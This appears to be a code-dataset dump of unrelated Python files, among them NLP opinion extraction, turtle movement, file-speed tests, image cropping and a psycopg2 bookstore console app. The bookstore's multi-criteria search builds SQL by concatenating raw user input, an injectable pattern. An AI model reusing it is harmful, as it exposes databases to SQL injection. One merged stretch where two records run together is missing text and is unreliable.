k in a:\n if i == 'ROOT':\n continue\n # print('>>>>', text[k - 1], i)\n\n if i in l:\n # print(j,k)\n # print('\\t>>>>', text[j - 1], text[k - 1], '-->', i)\n review_content = text[j - 1]+', '+text[k - 1]\n\n tem = self.extracted_opinions.get(review_content,0)\n if tem ==0:\n self.extracted_opinions[review_content] = [review_id]\n else:\n if review_id in tem:\n continue\n else:\n self.extracted_opinions[review_content].append(review_id)\n\n\n\n\nif __name__ == \"__main__\":\n step_1_extract_opinion = ExtractOpinions()\n review_id=1\n c=\"Delicious old school bar/restaurant. Love the ornate woodwork and white tablecloths. Service was absolutely excellent. I had the pot roast with the red skinned mashed potatoes and cole slaw. The meat was so tender and flavorful, and the potatoes...yum! The Cole slaw was delicious too, and I'm VERY picky about Cole slaw.\"\n step_1_extract_opinion.extract_pairs(review_id, c)\n print(step_1_extract_opinion.extracted_opinions)\n\n","repo_name":"DishengLL/AI_Natural_Language_Understanding","sub_path":"code_section/ExtractOpinions.py","file_name":"ExtractOpinions.py","file_ext":"py","file_size_in_byte":3078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36105902506","text":"print(\"Question:05\")\r\nnum1=int(input(\"Enter first number:\"))\r\nnum2=int(input(\"Enter second number:\"))\r\nif num1>num2:\r\n for i in range (1,num1+1):\r\n if num1%i==0 and num2%i==0:\r\n print (i)\r\nelif num1= len(self.path):\n return\n\n self.goto(self.path[self.current_step])\n self.current_step += 1\n\n return self.heading()","repo_name":"kit8nino/2023-python","sub_path":"ИС34/Шульпина Полина/[4]/mob.py","file_name":"mob.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"39741572008","text":"# -*- coding: utf-8 -*-\nimport os\nimport shutil\nimport time\n\nclass model():\n\n def __init__(self):\n self.name = '' \n\n def test(self):\n print(os.name)\n print(os.uname())\n # print(os.environ)\n print(os.environ.get('PATH'))\n print(os.path.abspath('.'))\n print(os.path.join(os.path.abspath('.'), 'testdir'))\n # os.mkdir('/media/xian/Work/docker/zdns-log/testdir')\n # os.rmdir('/media/xian/Work/docker/zdns-log/testdir')\n print(os.path.split('/media/xian/Work/docker/zdns-log/file.txt'))\n print(os.path.splitext('/media/xian/Work/docker/zdns-log/file.txt'))\n # os.rename('./file.txt', './myfile.txt')\n # os.remove('./myfile2.txt')\n # shutil.copy('./myfile.txt', './testdir')\n print(os.listdir('.'))\n print([x for x in os.listdir('.') if os.path.isdir(x)])\n print([x for x in os.listdir('.') if os.path.isfile(x) and os.path.splitext(x)[1]=='.py'])\n\n def run(self):\n int_lines = 0\n start_time = time.time()\n with open('./112.15.224.247_571_03_201912020807', 'r') as f:\n while True:\n line = f.readline()\n if line:\n # print(line.strip())\n int_lines += 1\n # 190000/s\n print(F'speed: {1/(time.time()-start_time)*int_lines}')\n else:\n break\n\n def run2(self):\n int_lines = 0\n start_time = time.time()\n with open('./112.15.224.247_571_03_201912020807', 'r') as f:\n lines = f.readlines()\n int_lines = len(lines)\n # 220000/s\n print(F'speed: {1/(time.time()-start_time)*int_lines}')\n\n def run3(self):\n int_lines = 0\n start_time = time.time()\n f2 = open('./logs/myfile2.txt', 'w')\n with open('./myfile.txt', 'r') as f:\n while True:\n line = f.readline()\n if line:\n f2.write(line)\n int_lines += 1\n # 70000/s\n print(F'speed: {1/(time.time()-start_time)*int_lines}')\n else:\n break\n f2.close()\n\n def run4(self):\n int_lines = 0\n start_time = time.time()\n f2 = open('./logs/myfile2.txt', 'w')\n with open('./myfile.txt', 'r') as f:\n lines = f.readlines()\n f2.writelines(lines)\n int_lines = len(lines)\n # 230000/s\n print(F'speed: {1/(time.time()-start_time)*int_lines}')\n f2.close()\n\nif __name__ == \"__main__\":\n filetest = model()\n filetest.run3()\n\n\n","repo_name":"SpkCoder/myproject","sub_path":"flaskApp-ElementUI/flaskApp/my_modules/file_test.py","file_name":"file_test.py","file_ext":"py","file_size_in_byte":2678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4696061019","text":"import cv2\nimport numpy as np\nimport math\nimport os\nfrom pathlib import Path\n\nfor file_name in os.listdir('intra_data/images/good/'):\n if Path(f\"intra_data/images/good/{file_name}\").is_dir():\n continue\n\n input_image = cv2.imread(f\"intra_data/images/good/{file_name}\")\n input_h, input_w, *_ = input_image.shape\n\n # convert to grayscale\n bw = cv2.cvtColor(input_image, cv2.COLOR_BGR2GRAY)\n blurred = cv2.GaussianBlur(bw, (7, 7), 0)\n bw = 255 - bw\n\n thresholded_image = cv2.adaptiveThreshold(\n bw, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY_INV, 21, 10)\n\n # create bounding rectangle to crop the image.\n x, y, w, h = cv2.boundingRect(thresholded_image)\n\n if h > w:\n x -= min(x, math.floor((h-w)/2))\n w = min(input_w, h)\n else:\n y -= min(y, math.floor((w-h)/2))\n h = min(input_h, w)\n\n # then crop it and save the images\n crop = input_image[y:y+h, x:x+w]\n\n resized = cv2.resize(crop, (1024, 1024))\n # flip_1 = cv2.flip(resized, 1)\n # flip_2 = cv2.flip(resized, 0)\n # flip_3 = cv2.flip(resized, -1)\n # rot_1 = cv2.rotate(resized, cv2.ROTATE_90_CLOCKWISE)\n # rot_2 = cv2.rotate(resized, cv2.ROTATE_90_COUNTERCLOCKWISE)\n # rot_flip_1 = cv2.rotate(flip_1, cv2.ROTATE_90_CLOCKWISE)\n # rot_flip_2 = cv2.rotate(flip_1, cv2.ROTATE_90_COUNTERCLOCKWISE)\n cv2.imwrite(f\"Resized/good/{file_name}_orig.png\", resized)\n # cv2.imwrite(f\"Resized/combined_flipped/{file_name}_flip_1.png\", flip_1)\n # cv2.imwrite(f\"Resized/combined_flipped/{file_name}_flip_2.png\", flip_2)\n # cv2.imwrite(f\"Resized/combined_flipped/{file_name}_flip_3.png\", flip_3)\n # cv2.imwrite(f\"Resized/combined_flipped/{file_name}_rot_1.png\", rot_1)\n # cv2.imwrite(f\"Resized/combined_flipped/{file_name}_rot_2.png\", rot_2)\n # cv2.imwrite(f\"Resized/combined_flipped/{file_name}_rot_flip_1.png\", rot_flip_1)\n # cv2.imwrite(f\"Resized/combined_flipped/{file_name}_rot_flip_2.png\", rot_flip_2)","repo_name":"ThomasCy/image-segmentation-validation","sub_path":"crop_and_resize.py","file_name":"crop_and_resize.py","file_ext":"py","file_size_in_byte":1975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22362200176","text":"from datetime import datetime\n\n\nfor j in range(28):\n d = j+1\n print(d,end=':')\n count = 0\n for i in range(12):\n m = i+1\n date=datetime.date(datetime(year=2022, month=m, day=d))\n if date.isoweekday() in [1, 2, 3, 4, 5]:\n count+=1\n print(count)\n \n","repo_name":"r567tw/office","sub_path":"date_related/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"33095402398","text":"import constants\r\nimport psycopg2\r\nimport uuid\r\nimport random\r\nimport datetime\r\n\r\n\"\"\"\r\nAdd the selected book to currnet logged in user's basket.\r\nBook is selected via ISBN, then added to the basket entity.\r\n\"\"\"\r\ndef add_book_to_basket(isbn, username, quantity):\r\n try:\r\n conn = psycopg2.connect(host=constants.HOST, port=constants.PORT, dbname=constants.DBNAME, user=constants.USERID, password=constants.PASSWORD)\r\n cur = conn.cursor() \r\n print(\"\\nAdding Book to Basket\")\r\n try:\r\n #check if this book exists in user's basket\r\n cur.execute(\"select * from book_in_user_basket where username = %s and isbn = %s\", (username, isbn))\r\n conn.commit()\r\n flag = cur.fetchone()\r\n #exists already then increment\r\n if flag is not None:\r\n cur.execute(\"\"\"\r\n update book_in_user_basket\r\n set\r\n quantity = quantity + %s\r\n where username = %s and isbn = %s\"\"\", (quantity, username, isbn))\r\n #did not exist, create\r\n else:\r\n cur.execute(\"insert into book_in_user_basket values(%s, %s, %s)\", (username, isbn, quantity))\r\n\r\n conn.commit()\r\n print(\"Complete! Book added to Basket\")\r\n cur.close()\r\n\r\n except Exception as insertErr:\r\n print(\"Could not run query (get_users_name - adding book_in_basket): \", insertErr) \r\n conn.rollback()\r\n except Exception as sqle:\r\n print(\"Exception : \", sqle)\r\n\r\n\"\"\"\r\ntakes isbn from the search page, then shows a detailed looks of the specific book.\r\nAlso shows similar books as current book, and allows user to add current book to basket.\r\n\"\"\"\r\ndef view_book(isbn, username):\r\n print(\"\\nViewing Book\")\r\n\r\n try:\r\n conn = psycopg2.connect(host=constants.HOST, port=constants.PORT, dbname=constants.DBNAME, user=constants.USERID, password=constants.PASSWORD)\r\n cur = conn.cursor() \r\n #get book with matching isbn\r\n try:\r\n cur.execute(\"\"\"\r\n select book.*, book_publisher.publisher_name \r\n from book \r\n inner join book_publisher on book_publisher.isbn = book.isbn\r\n where book.isbn = %s\"\"\", ([isbn]))\r\n conn.commit()\r\n\r\n book_result = cur.fetchone()\r\n\r\n print(\"\\nISBN: \" + str(book_result[0])+\"\\nTitle: \" + str(book_result[1]) + \"\\nAuthor name: \" + str(book_result[2]) + \"\\nGenre: \" + str(book_result[3]) + \"\\nPublisher: \" + str(book_result[7]) + \"\\nPages: \" + str(book_result[4]) + \"\\nPrice: $\" + str(book_result[5]))\r\n\r\n try:\r\n cur.execute(\"select * from book where author_name = %s and isbn != %s\", (str(book_result[2]), isbn))\r\n conn.commit()\r\n\r\n same_author = cur.fetchall()\r\n\r\n try:\r\n cur.execute(\"select * from book where genre = %s and isbn != %s and author_name != %s\", (str(book_result[3]), isbn, str(book_result[2])))\r\n conn.commit()\r\n\r\n same_genre = cur.fetchall()\r\n #build array of simliar books\r\n similar_books = []\r\n counter = 1\r\n for row in same_author:\r\n #keep max 5\r\n if counter == 6:\r\n break\r\n build_string = \"Index: \" + str(counter) + \", Title: \" + str(row[1]) + \", Author name: \" + str(row[2]) + \", Genre: \" + str(row[3]) + \", Price: $\" + str(row[5]) + \", ISBN: \" + str(row[0])\r\n similar_books.append(build_string)\r\n counter+=1\r\n\r\n mid_point = counter\r\n \r\n for row in same_genre:\r\n #keep max 5\r\n if counter == mid_point+5:\r\n break\r\n build_string = \"Index: \" + str(counter) + \", Title: \" + str(row[1]) + \", Author name: \" + str(row[2]) + \", Genre: \" + str(row[3]) + \", Price: $\" + str(row[5]) + \", ISBN: \" + str(row[0])\r\n similar_books.append(build_string)\r\n counter+=1\r\n\r\n print(\"\\nCheck out other books written by \" + str(book_result[2]) +\"!\\n\")\r\n counter = 0\r\n for elem in similar_books:\r\n if counter == mid_point-1:\r\n print(\"\\nCheck out other books in same genre!\\n\")\r\n print(elem)\r\n counter += 1\r\n \r\n print(\"\\nDo you want to add this book to your basket?\")\r\n add_basket = input(\"Enter 1 to add to your basket, 0 to not: \")\r\n if add_basket=='1':\r\n quantity = input(\"How many would you like to add? \")\r\n quantity = int(quantity)\r\n curr_book_isbn = str(book_result[0])\r\n add_book_to_basket(curr_book_isbn, username, quantity)\r\n \r\n print(\"\\nYou can navigate to the similar books suggested by entering their index.\\n\")\r\n index = input(\"Enter index to navigate or input 0 to not navigate: \")\r\n\r\n if int(index) in range(1, counter+1):\r\n smiilar_book_isbn_selected = similar_books[int(index)-1][similar_books[int(index)-1].rfind(':')+2:]\r\n view_book(smiilar_book_isbn_selected, username)\r\n\r\n cur.close()\r\n\r\n except Exception as qu_error:\r\n print(\"Could not search for books using query (same genre): \", qu_error) \r\n conn.rollback()\r\n\r\n except Exception as q_error:\r\n print(\"Could not search for books using query (same author): \", q_error) \r\n conn.rollback()\r\n\r\n except Exception as query_error:\r\n print(\"Could not search for books using query: \", query_error) \r\n conn.rollback()\r\n\r\n except Exception as sqle:\r\n print(\"Exception : \", sqle)\r\n\r\n\"\"\"\r\nTakes user input for wanted search criteria and value, then search the database for books with the input given\r\nBooks with 1) the exact same as input, 2) similar to input (using SIMILARITY), and/or 3) books that contains input as substring of their attribute will be shown\r\nFor pages, books with user can search for books with equal or more / or less pages.\r\nFor multi search, user can choose multiple criteria to search the book on.\r\n\"\"\"\r\ndef search_books(search_type, username):\r\n\r\n try:\r\n conn = psycopg2.connect(host=constants.HOST, port=constants.PORT, dbname=constants.DBNAME, user=constants.USERID, password=constants.PASSWORD)\r\n cur = conn.cursor() \r\n #run loginFunc()\r\n try:\r\n #title\r\n if search_type == 0:\r\n print(\"\\nSearching by Title\")\r\n title = input(\"Input title you want to search.\\nBooks with similar title, books with input as a substring of their title will be shown as well: \")\r\n cur.execute(\"\"\"\r\n select * from book \r\n where lower(title) \r\n like lower(%s) or lower(title) = lower(%s) or similarity(lower(title), lower(%s)) > 0.4\"\"\", ('%'+title+'%', title, title))\r\n \r\n #author\r\n elif search_type == 1:\r\n print(\"\\nSearching by Author\")\r\n author = input(\"Input author you want to search.\\nBooks with similar author names and books with input as a substring of their author will be shown as well: \")\r\n cur.execute(\"\"\"\r\n select * from book \r\n where lower(author_name) \r\n like lower(%s) or lower(author_name) = lower(%s) or similarity(lower(author_name), lower(%s)) > 0.4\"\"\", ('%'+author+'%', author, author))\r\n\r\n #isbn\r\n elif search_type == 2:\r\n print(\"\\nSearching by ISBN\")\r\n isbn = input(\"Input isbn you want to search.\\nBooks with similar isbn will be shown as well: \")\r\n cur.execute(\"\"\"\r\n select * from book \r\n where isbn \r\n like %s or isbn = %s or similarity(isbn, %s) > 0.4\"\"\", (isbn, isbn, isbn))\r\n \r\n #genre\r\n elif search_type == 3:\r\n print(\"\\nSearching by Genre\")\r\n genre = input(\"Input one genre you want to search.\\nBooks with similar genre, books with input as a substring of their genre will be shown as well: \")\r\n cur.execute(\"\"\"\r\n select * from book \r\n where lower(genre) \r\n like lower(%s) or lower(genre) = lower(%s) or similarity(lower(genre), lower(%s)) > 0.4\"\"\", ('%'+genre+'%', genre, genre))\r\n \r\n #pages\r\n elif search_type == 4:\r\n print(\"\\nSearching by Pages\")\r\n page = input(\"Input number of page to search for: \")\r\n geq = input(\"If you would like to search for books with greater or equal pages as your input, enter 0\\nIf you would like to search for books with less or equal pages as your input, enter 1\\nAny other values will be counted as 0: \")\r\n if geq == '1':\r\n cur.execute(\"select * from book where total_pages <= %s\", ([int(page)]))\r\n else:\r\n cur.execute(\"select * from book where total_pages >= %s\", ([int(page)]))\r\n\r\n #multi\r\n else:\r\n print(\"\\nSearching by Multiple Criteria\")\r\n print(\"Enter in the values you want to search for when it gets prompted, if you do not want to search with the criteria mentioned, just press enter to skip it.\")\r\n multi_title = input(\"Title: \")\r\n multi_author = input(\"Author: \")\r\n multi_isbn = input(\"ISBN: \")\r\n multi_genre = input(\"Genre: \")\r\n multi_page_geq = input(\"Page to be greater than or equal to: \")\r\n multi_page_leq = input(\"Page to be less than or equal to: \")\r\n\r\n query =\"select * from book where \"\r\n #0 if no previous input -> no need to add 'and'\r\n #1 if there was preivous input -> add 'and'\r\n previous_input_flag = 0\r\n\r\n if multi_title!=\"\":\r\n query += \"(lower(title) like lower('%\"+ multi_title +\"%') or lower(title) = lower('\"+ multi_title +\"') or similarity(lower(title), lower('\"+ multi_title +\"')) > 0.4) \"\r\n previous_input_flag = 1\r\n if multi_author!=\"\":\r\n if previous_input_flag == 1:\r\n query += \"and \"\r\n query += \"(lower(author_name) like lower('%\"+ multi_author +\"%') or lower(author_name) = lower('\"+ multi_author +\"') or similarity(lower(author_name), lower('\"+ multi_author +\"')) > 0.4) \"\r\n previous_input_flag = 1\r\n if multi_isbn!=\"\":\r\n if previous_input_flag == 1:\r\n query += \"and \"\r\n query += \"(isbn like '\"+ multi_isbn +\"' or isbn = '\"+ multi_isbn +\"' or similarity(isbn, '\"+ multi_isbn +\"') > 0.4) \"\r\n previous_input_flag = 1\r\n if multi_genre!=\"\":\r\n if previous_input_flag == 1:\r\n query += \"and \"\r\n query += \"(lower(genre) like lower('%\"+multi_genre+\"%') or lower(genre) = lower('\"+multi_genre+\"') or similarity(lower(genre), lower('\"+multi_genre+\"')) > 0.4 \"\r\n previous_input_flag = 1\r\n if multi_page_geq!=\"\":\r\n if previous_input_flag == 1:\r\n query += \"and \"\r\n query += \"(total_pages >= \"+ multi_page_geq +\") \"\r\n previous_input_flag = 1\r\n if multi_page_leq!=\"\":\r\n if previous_input_flag == 1:\r\n query += \"and \"\r\n query += \"(total_pages <= \"+ multi_page_leq +\") \"\r\n\r\n cur.execute(query)\r\n\r\n conn.commit()\r\n book_result = cur.fetchall()\r\n print(\"\")\r\n counter = 1\r\n for row in book_result:\r\n build_string = \"Index: \" + str(counter) + \", Title: \" + str(row[1]) + \", Author name: \" + str(row[2]) + \", Genre: \" + str(row[3]) + \", Price: $\" + str(row[5])\r\n print(build_string)\r\n counter+=1\r\n \r\n browse_input = input(\"\\nEnter the index of the book you would like to see in detail, or enter 0 to go back to user front page.\\nTo add the book into your basket, visit the book's page (see it in detail), then select option to add to basket.\\nEnter your selection: \")\r\n\r\n #passing on isbn\r\n if int(browse_input) in range(1, counter):\r\n view_book(book_result[int(browse_input)-1][0], username)\r\n\r\n cur.close()\r\n\r\n except Exception as query_error:\r\n print(\"Could not search for books using query: \", query_error) \r\n conn.rollback()\r\n\r\n except Exception as sqle:\r\n print(\"Exception : \", sqle)\r\n\r\n#get list of all the books the user has already ordered, find the most occured author and genre.\r\n#get maximum of 5 books with the most occured author, and max 5 books with most occured genre, and show it to the user.\r\n#need to make sure books already ordered are not included\r\ndef view_recommended_books(username):\r\n try:\r\n conn = psycopg2.connect(host=constants.HOST, port=constants.PORT, dbname=constants.DBNAME, user=constants.USERID, password=constants.PASSWORD)\r\n cur = conn.cursor() \r\n #first get most occured author, and most occured genre\r\n try:\r\n cur.execute(\"\"\"\r\n select mode() \r\n within group (order by author_name) \r\n from store_order \r\n inner join book_ordered on store_order.order_id = book_ordered.order_id \r\n inner join book on book_ordered.isbn = book.isbn \r\n inner join user_order on store_order.order_id = user_order.order_id \r\n where user_order.username = %s\"\"\", ([username]))\r\n conn.commit()\r\n most_common_author = cur.fetchone()\r\n\r\n cur.execute(\"\"\"\r\n select mode() \r\n within group (order by genre) \r\n from store_order \r\n inner join book_ordered on store_order.order_id = book_ordered.order_id \r\n inner join book on book_ordered.isbn = book.isbn \r\n inner join user_order on store_order.order_id = user_order.order_id \r\n where user_order.username = %s\"\"\", ([username]))\r\n conn.commit()\r\n most_common_genre = cur.fetchone()\r\n\r\n print(\"\\nViewing Recommended books (based on your favorite author and genre\")\r\n print(\"If you do not see any, it means you already have ordered all the books written by the author / in the genre\")\r\n print(\"Your favorite author is: \", most_common_author[0], \" and your favorite genre is: \", most_common_genre[0])\r\n\r\n print(\"\\nHere are other books written by your favorite author: \")\r\n #get all books that was written by most_common_author, that was not ordered by this user\r\n cur.execute(\"\"\"\r\n select book.* from book \r\n left join book_ordered on book_ordered.isbn = book.isbn \r\n left join store_order on store_order.order_id = book_ordered.order_id \r\n where book.author_name = %s \r\n except \r\n select book.* from book \r\n inner join book_ordered on book_ordered.isbn = book.isbn \r\n inner join store_order on store_order.order_id = book_ordered.order_id \r\n inner join user_order on store_order.order_id = user_order.order_id \r\n where user_order.username = %s\"\"\", (most_common_author[0], username))\r\n conn.commit()\r\n com_author_books = cur.fetchall()\r\n\r\n #get all books are in the same genre (most_common_genre), that was not ordered by this user\r\n cur.execute(\"\"\"\r\n select book.* from book \r\n left join book_ordered on book_ordered.isbn = book.isbn \r\n left join store_order on store_order.order_id = book_ordered.order_id \r\n where book.genre = %s \r\n except \r\n select book.* from book \r\n inner join book_ordered on book_ordered.isbn = book.isbn \r\n inner join store_order on store_order.order_id = book_ordered.order_id \r\n inner join user_order on store_order.order_id = user_order.order_id \r\n where user_order.username = %s\"\"\", (most_common_genre[0], username))\r\n conn.commit()\r\n com_genre_books = cur.fetchall()\r\n\r\n #build array of recommended books\r\n recommended_books = []\r\n counter = 1\r\n for row in com_author_books:\r\n #keep max 5\r\n if counter == 6:\r\n break\r\n build_string = \"Index: \" + str(counter) + \", Title: \" + str(row[1]) + \", Author name: \" + str(row[2]) + \", Genre: \" + str(row[3]) + \", Price: $\" + str(row[5]) + \", ISBN: \" + str(row[0])\r\n recommended_books.append(build_string)\r\n counter+=1\r\n\r\n mid_point = counter\r\n \r\n for row in com_genre_books:\r\n #keep max 5\r\n if counter == mid_point+5:\r\n break\r\n build_string = \"Index: \" + str(counter) + \", Title: \" + str(row[1]) + \", Author name: \" + str(row[2]) + \", Genre: \" + str(row[3]) + \", Price: $\" + str(row[5]) + \", ISBN: \" + str(row[0])\r\n recommended_books.append(build_string)\r\n counter+=1\r\n \r\n counter = 0\r\n for elem in recommended_books:\r\n if counter == mid_point-1:\r\n print(\"\\nHere are other books in your favorite genre: \")\r\n print(elem)\r\n counter += 1\r\n \r\n print(\"\\nYou can navigate to the recommended books by entering their index.\\n\")\r\n index = input(\"Enter index to navigate or input 0 to not navigate: \")\r\n\r\n if int(index) in range(1, counter+1):\r\n smiilar_book_isbn_selected = recommended_books[int(index)-1][recommended_books[int(index)-1].rfind(':')+2:]\r\n view_book(smiilar_book_isbn_selected, username)\r\n\r\n cur.close()\r\n\r\n except Exception as qerr:\r\n print(\"Could not run query (view_recommended_books): \", qerr) \r\n conn.rollback()\r\n except Exception as sqle:\r\n print(\"Exception : \", sqle)\r\n\r\n\r\n\"\"\"\r\nmake order based on information given\r\nby that, it means:\r\n 1) take all books in currnet user's basket\r\n 2) create a new order using information given\r\n 3) create new book_ordered\r\n 3) later gotta handle this from owner side as well\r\n 4) remove all books in user's basket\r\n\"\"\"\r\ndef make_order(username, name, payment, shipping, billing, price, date, estimated_days_in_transit, estimated_delivery_date):\r\n try:\r\n conn = psycopg2.connect(host=constants.HOST, port=constants.PORT, dbname=constants.DBNAME, user=constants.USERID, password=constants.PASSWORD)\r\n cur = conn.cursor() \r\n print(\"\\nPlacing Order...\")\r\n #create new store_order\r\n try:\r\n order_id = uuid.uuid4()\r\n status = \"Preparing for Shipment.\"\r\n cur.execute(\"\"\"\r\n insert into \r\n store_order values(%s, %s, %s, %s, %s, %s, %s, %s, %s)\r\n \"\"\", (str(order_id), payment, price, shipping, billing, status, date, estimated_days_in_transit, str(estimated_delivery_date)))\r\n conn.commit()\r\n try:\r\n #insert new user_order\r\n cur.execute(\"insert into user_order values(%s, %s)\", (username, str(order_id)))\r\n conn.commit()\r\n #get books from the basket\r\n try:\r\n cur.execute(\"\"\"\r\n select book_in_user_basket.* \r\n from book_in_user_basket \r\n inner join book on book.isbn = book_in_user_basket.isbn \r\n where book_in_user_basket.username = %s\"\"\", ([username]))\r\n book_result = cur.fetchall()\r\n conn.commit()\r\n #create new book_ordered\r\n try:\r\n for row in book_result:\r\n cur.execute(\"insert into book_ordered values(%s, %s, %s)\", (str(order_id), str(row[1]), int(row[2])))\r\n conn.commit()\r\n print(\"A Book Added to Order.\")\r\n\r\n try:\r\n #handle owner side things here\r\n #get owner_username of the book's owner\r\n cur.execute(\"\"\"\r\n select owner_username\r\n from has_in_collection\r\n where isbn = %s\"\"\", ([str(row[1])]))\r\n conn.commit()\r\n owner = cur.fetchone()[0]\r\n except Exception as countErr:\r\n print(\"Could not run query (make_order - finding owner of the book from collection): \", countErr) \r\n conn.rollback()\r\n\r\n #per book added to the order, decrease quantity of the books from the owner's collection\r\n try:\r\n #create owner_order if it does not exist already\r\n #check owner_order does not exist\r\n cur.execute(\"\"\"\r\n select * \r\n from owner_order\r\n where order_id = %s\"\"\", ([str(order_id)]))\r\n conn.commit()\r\n owner_order_flag = cur.fetchone()\r\n #create relation if it did not exist before\r\n if owner_order_flag is None:\r\n try:\r\n cur.execute(\"insert into owner_order values(%s, %s)\", (str(owner), str(order_id)))\r\n conn.commit()\r\n \r\n except Exception as deleteErr:\r\n print(\"Could not run query (make_order - create owner_order for owner of book): \", deleteErr) \r\n conn.rollback()\r\n\r\n except Exception as deleteErr:\r\n print(\"Could not run query (make_order - query to select owner): \", deleteErr) \r\n conn.rollback()\r\n \r\n #recalculate past month sale for this owner, and this book (so inside has_in_collection)\r\n #get past month sale of this book\r\n try:\r\n cur.execute(\"\"\"\r\n select sum(book_ordered.quantity) as month_total\r\n from book_ordered\r\n inner join store_order on store_order.order_id = book_ordered.order_id\r\n inner join owner_order on store_order.order_id = owner_order.order_id\r\n where \r\n book_ordered.isbn = %s \r\n and store_order.ordered_date <= date(%s) \r\n and store_order.ordered_date >= date(%s)-30\"\"\", (str(row[1]), str(date), str(date)))\r\n conn.commit()\r\n past_month_sale = cur.fetchone()[0]\r\n if past_month_sale is None:\r\n past_month_sale = 0;\r\n past_month_sale = int(past_month_sale)\r\n except Exception as countErr:\r\n print(\"Could not run query (make_order - calculating past month sale): \", countErr) \r\n conn.rollback()\r\n\r\n #update has_in_collection's past month sale\r\n try:\r\n cur.execute(\"\"\"\r\n update has_in_collection \r\n set \r\n past_month_sale = %s,\r\n quantity = quantity - %s\r\n where isbn = %s\"\"\", (past_month_sale, int(row[2]), str(row[1])))\r\n conn.commit()\r\n\r\n except Exception as countErr:\r\n print(\"Could not run query (make_order - update past month sale and decrease quantity): \", countErr) \r\n conn.rollback()\r\n \r\n #delete everything in user's basket\r\n try:\r\n cur.execute(\"delete from book_in_user_basket where username = %s\", ([username]))\r\n conn.commit()\r\n print(\"Order Complete! Thank you \", name, \"!\")\r\n print(\"Copy your Order ID onto another place: \", order_id, \".\\nThis unique id can be used to track your order!\\nYou can always review your order id by viewing your order history.\")\r\n cur.close()\r\n\r\n except Exception as deleteErr:\r\n print(\"Could not run query (make_order - deleting basket contents): \", deleteErr) \r\n conn.rollback()\r\n except Exception as addErr:\r\n print(\"Could not run query (make_order - inserting new book_ordereds): \", addErr) \r\n conn.rollback()\r\n except Exception as countErr:\r\n print(\"Could not run query (make_order - getting total number of books that was in the basket): \", countErr) \r\n conn.rollback()\r\n except Exception as iErr:\r\n print(\"Could not run query (make_order - inserting new user_order): \", iErr) \r\n conn.rollback()\r\n except Exception as qerr:\r\n print(\"Could not run query (make_order - creating order): \", qerr) \r\n conn.rollback()\r\n except Exception as sqle:\r\n print(\"Exception : \", sqle)\r\n\r\n\"\"\"\r\nmakes the order on the books currently in the user's basket\r\nuser's name = user_info[2]\r\npayment info = user_info[3]\r\nshipping address = user_info[4]\r\nbilling address = user_info[5]\r\n\"\"\"\r\ndef order_page(username, date):\r\n try:\r\n conn = psycopg2.connect(host=constants.HOST, port=constants.PORT, dbname=constants.DBNAME, user=constants.USERID, password=constants.PASSWORD)\r\n cur = conn.cursor() \r\n #get all books from user's basket\r\n try:\r\n cur.execute(\"\"\"\r\n select book.*, book_in_user_basket.quantity, book_publisher.publisher_name\r\n from book_in_user_basket \r\n inner join book on book.isbn = book_in_user_basket.isbn \r\n inner join book_publisher on book_publisher.isbn = book.isbn\r\n where book_in_user_basket.username = %s\"\"\", ([username]))\r\n conn.commit()\r\n book_result = cur.fetchall()\r\n #get total price\r\n cur.execute(\"\"\"\r\n select sum(book.price * book_in_user_basket.quantity) as total \r\n from book_in_user_basket \r\n inner join book on book.isbn = book_in_user_basket.isbn \r\n where book_in_user_basket.username = %s\"\"\", ([username]))\r\n conn.commit()\r\n total_price = cur.fetchone()\r\n #get user info\r\n try:\r\n cur.execute(\"select * from store_user where username = %s\", ([username]))\r\n conn.commit()\r\n user_info = cur.fetchone()\r\n\r\n print(\"\\nOrder Page\\nHere are the books currently in your basket:\")\r\n price = float(total_price[0])\r\n for row in book_result:\r\n build_string = \"Title: \" + str(row[1]) + \", Author name: \" + str(row[2]) + \", Genre: \" + str(row[3]) + \", Publisher: \" + str(row[8]) + \", Pages: \" + str(row[4])+ \", Price: $\" + str(row[5]) + \", ISBN: \" + str(row[0]) + \", Quantity: \" + str(row[7])\r\n print(build_string)\r\n\r\n print(\"\\nSubtotal: $\", price)\r\n print(\"Delivery: $5\")\r\n price = price+5\r\n tax = (price*0.13)\r\n print(\"Tax: $\", \"{:.2f}\".format((tax)))\r\n price = price+tax\r\n #format price to be in 2 decimal places\r\n print(\"\\nFinal Total: $\", \"{:.2f}\".format((price)))\r\n\r\n #payment info\r\n print(\"\\nHow would you like to pay?\")\r\n print(\"Enter 0 - if you want to use the card in your account, ending with: \", user_info[3][-4:])\r\n print(\"Enter 1- if you would like to enter in new payment information\")\r\n payment_selection = input(\"Enter in your choice: \")\r\n #take new payment info\r\n if payment_selection==\"1\":\r\n payment_flag = 0\r\n while payment_flag == 0:\r\n new_payment_info = input(\"Please enter your new payment information\\n(8 digit number to mimic credit card number): \")\r\n if len(new_payment_info) == 8 and new_payment_info.isdecimal():\r\n payment_flag = 1\r\n \r\n #shipping address\r\n print(\"\\nWhere should we ship it to?\")\r\n print(\"Enter 0 - if you want to use the shipping address in your account:\\n\", user_info[4])\r\n print(\"Enter 1- if you would like to enter in new shipping address\")\r\n shipping_selection = input(\"Enter in your choice: \")\r\n #take new shipping address\r\n if shipping_selection==\"1\":\r\n new_shipping_address = input(\"Please enter your new shipping address\\n(max 60 characters, if more than 60 characters are given, only first 60 will be taken): \")\r\n if len(new_shipping_address) > 60:\r\n new_shipping_address = new_shipping_address[0:60]\r\n \r\n #biling address\r\n print(\"\\nWhere should we send your bill to?\")\r\n print(\"Enter 0 - if you want to use the billing address in your account:\\n\", user_info[5])\r\n print(\"Enter 1 - if you would like to use the new shipping address you just entered as the billing address.\\nEnter 2 - if you would like to enter in new billing address.\")\r\n billinging_selection = input(\"Enter in your choice: \")\r\n #billing address is same as shipping\r\n if billinging_selection=='1':\r\n #if they didnt enter a new shipping address\r\n if shipping_selection != '1':\r\n print(\"You did not enter a new shipping address. Billing address already saved in your account will 